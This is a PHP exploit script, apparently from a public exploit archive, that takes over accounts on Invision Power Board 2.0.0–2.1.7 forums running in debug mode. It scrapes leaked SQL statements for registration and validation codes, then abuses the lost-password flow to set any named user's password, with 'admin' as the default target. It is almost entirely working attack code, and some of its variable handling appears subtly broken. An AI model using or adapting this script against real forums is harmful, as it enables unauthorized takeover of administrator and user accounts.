Invision Power Board <= 2.1.7 (Debug) Remote Password Change Exploit

                                                <?php
/*

 Debug Mode password change vulnerability
 Affects Invision Power Borard 2.0.0 to 2.1.7
 by Rapigator
 
 This works if:

 "Debug Level" is set to 3
 or
 Enable SQL Debug Mode is turned on
 
 In General Configuration of the forum software.

*/

// The forum's address up to and including 'index.php'
$site = "http://localhost/forums/index.php";

// An existing user's login name
$name = "admin";

// The new password(3-32 characters)
$pass = "1234";

// You can use a proxy...
// $proxy = "1.2.3.4:8080";



// -----------------------------
$site .= "?";
$suffix = "";
$name = urlencode($name);
$pass = urlencode($pass);
$curl = curl_init($site.'act=Reg&CODE=10');
curl_setopt($curl, CURLOPT_PROXY, $proxy);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($curl, CURLOPT_TIMEOUT, 10);
$page = curl_exec($curl);
curl_close($curl);
if (preg_match('/<span class=\'green\'>INSERT<\/span> INTO <span class=\'purple\'>([\\w]*?)_reg_antispam<\/span> \\(regid,regcode,ip_address,ctime\\) VALUES\\(\'([\\w]{32}?)\',([\\d]*?),/', $page, $regs)) {
	$prefix = $regs[1];
	$regid = $regs[2];
	$regcode = $regs[3];
} else {
	$suffix = "&debug=1";
	$curl = curl_init($site.'act=Reg&CODE=10'.$suffix);
	curl_setopt($curl, CURLOPT_PROXY, $proxy);
	curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
	curl_setopt($curl, CURLOPT_TIMEOUT, 10);
	$page = curl_exec($curl);
	curl_close($curl);
	if (preg_match('/INSERT INTO ([\\w]*?)_reg_antispam \\(regid,regcode,ip_address,ctime\\) VALUES\\(\'([\\w]{32}?)\',([\\d]*?),/', $page, $regs)) {
		$prefix = $regs[1];
		$regid = $regs[2];
		$regcode = $regs[3];
	}
}
if (!isset($regid) || !isset($regcode)) {
	echo "Error: Probably not vulnerable, or no forum found";
	exit;
}

$curl = curl_init($site.$suffix);
curl_setopt($curl, CURLOPT_PROXY, $proxy);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($curl, CURLOPT_POST, 1);
curl_setopt($curl, CURLOPT_POSTFIELDS, "act=Reg&CODE=11&member_name={$name}&regid={$regid}&reg_code={$regcode}");
curl_setopt($curl, CURLOPT_TIMEOUT, 10);
$page = curl_exec($curl);
curl_close($curl);
if (preg_match('/<span class=\'green\'>INSERT<\/span> INTO <span class=\'purple\'>'.$prefix.'_validating<\/span> \\(vid,member_id,real_group,temp_group,entry_date,coppa_user,lost_pass,ip_address\\) VALUES\\(\'([\\w]{32}?)\',([\\d]{1,32}?),/', $page, $regs)) {
	change_pass($regcode,$regid,$regs[1],$regs[2]);
}
if (preg_match('/INSERT INTO '.$prefix.'_validating \\(vid,member_id,real_group,temp_group,entry_date,coppa_user,lost_pass,ip_address\\) VALUES\\(\'([\\w]{32}?)\',([\\d]{1,32}?),/', $page, $regs)) {
	change_pass($regcode,$regid,$regs[1],$regs[2]);
}

function change_pass($regcode,$regid,$vid,$userid) {
	global $site, $proxy, $name, $pass;
	$curl = curl_init($site.$suffix);
	curl_setopt($curl, CURLOPT_PROXY, $proxy);
	curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
	curl_setopt($curl, CURLOPT_POST, 1);
	curl_setopt($curl, CURLOPT_POSTFIELDS, "act=Reg&CODE=03&type=lostpass&uid={$userid}&aid={$vid}&regid={$regid}&reg_code={$regcode}&pass1={$pass}&pass2={$pass}");
	curl_setopt($curl, CURLOPT_TIMEOUT, 10);
	$page = curl_exec($curl);
	curl_close($curl);
	echo "Password Changed!";
	exit;
}
?>